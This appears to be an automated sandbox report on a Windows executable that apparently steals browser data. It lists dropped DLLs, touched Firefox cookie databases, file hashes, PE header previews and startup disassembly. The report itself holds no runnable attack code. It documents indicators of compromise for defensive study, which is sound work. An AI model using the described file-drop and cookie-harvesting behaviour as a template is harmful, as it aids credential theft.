SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse Filename: MPil9jkBPG.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse Filename: MPil9jkBPG.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userIDHDGDHJEG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723484124390298
Encrypted:	false
SSDEEP:	12288:mxyHj9OPDUsb5J4VMrJhypkjvsoZMfG6jiHiprOTafN4S:mg9OJ4o4iLI+QiHipCTau
MD5:	64FE8DFA186F801847E6C710F30B2884
SHA1:	7E6887011B600858D5B0D2D59564B3E44C023965
SHA-256:	5A7B7A57EBA095CF41EF86FAA906C39C7F26B7B09E8B2268D1E882AD8AFB92A6
SHA-512:	B69EE7BC2927EA1C69249E1494DCE2D986D1EA730CD57C039555A1C6155177706FDB0AF71FE99D5AA828327B11CB05F456C566A7B83E0D887F87FB69550A090E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@................................. .....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723484124390298
Encrypted:	false
SSDEEP:	12288:mxyHj9OPDUsb5J4VMrJhypkjvsoZMfG6jiHiprOTafN4S:mg9OJ4o4iLI+QiHipCTau
MD5:	64FE8DFA186F801847E6C710F30B2884
SHA1:	7E6887011B600858D5B0D2D59564B3E44C023965
SHA-256:	5A7B7A57EBA095CF41EF86FAA906C39C7F26B7B09E8B2268D1E882AD8AFB92A6
SHA-512:	B69EE7BC2927EA1C69249E1494DCE2D986D1EA730CD57C039555A1C6155177706FDB0AF71FE99D5AA828327B11CB05F456C566A7B83E0D887F87FB69550A090E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@................................. .....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.476027498180679
Encrypted:	false
SSDEEP:	6144:OzZfpi6ceLPx9skLmb0f3ZWSP3aJG8nAgeiJRMMhA2zX4WABluuNYjDH5S:QZHt3ZWOKnMM6bFp+j4
MD5:	374A5E5D792312EC4D5C17C23F909272
SHA1:	DABCCB1E0709CBE8BABA7A8F0128BCBEAFB210A6
SHA-256:	D5FEE926F7CDE8FDE347DA3F662835267773380591D88F033E027697E1A17E34
SHA-512:	BDDD657AF96CDB64F846F1498DC262F65C918A58E80C0C3B03CBA6D19456ABBBDEDD5FDA41A55B5668828B93488CEBBB1AF5CF53E3E8599CF1E7926BAA615EDE
Malicious:	false
Preview:	regfK...K....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm......................................................................................................................................................................................................................................................................................................................................................4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.683086446717878
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NdSXVNeoET.exe
File size:	505'344 bytes
MD5:	2fdea74a17bd7c2816d13404852ec409
SHA1:	38cd4686e4db51fc6aff432323bf55a560f571d9
SHA256:	33105a1685207694a3de20a03c82524fe8cd7f0f19fa85ba5d88d6b4d8457660
SHA512:	6f9f66bcf37aa0b9406ece72c7ebe46130cac94d042eda36deb11b20d97c5865eff9736c5b0bcaa41f51245954a29b9de8d97003093f690c4be01333dd88f8d7
SSDEEP:	12288:SLJlka1IlamY+37BnH0xRdDll0vf4VZw8P0V5b5uHHv4S:Ska1F27BSRV84w8yxwQ
TLSH:	29B4F115B1C18072E4B7193246E0DF795A3EBCB00E625E9F27944FBE0F31291D635AAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67040251 [Mon Oct 7 15:46:25 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F0C5CDECFE0h
jmp 00007F0C5CDEC54Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F0C5CDEC6EBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F0C5CDEC6DCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F0C5CDEC6DEh
add edx, 28h
cmp edx, esi
jne 00007F0C5CDEC6BCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F0C5CDEC6CBh
push esi
call 00007F0C5CDED2F4h
test eax, eax
je 00007F0C5CDEC6F2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B34Ch
mov edx, dword ptr [eax+04h]
jmp 00007F0C5CDEC6D6h
cmp edx, eax
je 00007F0C5CDEC6E2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F0C5CDEC6C2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F0C5CDEC6D9h
mov byte ptr [0047B350h], 00000001h
call 00007F0C5CDEC98Ah
call 00007F0C5CDEF8A7h
test al, al
jne 00007F0C5CDEC6D6h
xor al, al
pop ebp
ret
call 00007F0C5CDF8309h
test al, al
jne 00007F0C5CDEC6DCh
push 00000000h
call 00007F0C5CDEF8AEh
pop ecx
jmp 00007F0C5CDEC6BBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B351h], 00000000h
je 00007F0C5CDEC6D6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	46c4688f4cff59d19553610ff29e3788	False	0.5865713443396227	data	6.670145941435632	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	3342e6a0119839f118049ee09d91ad2c	False	0.43517602848101267	data	4.959121443349626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef78	0x4e200	6042872622cf3590f80c42dc29eb70ef	False	0.98995	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990479675187141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
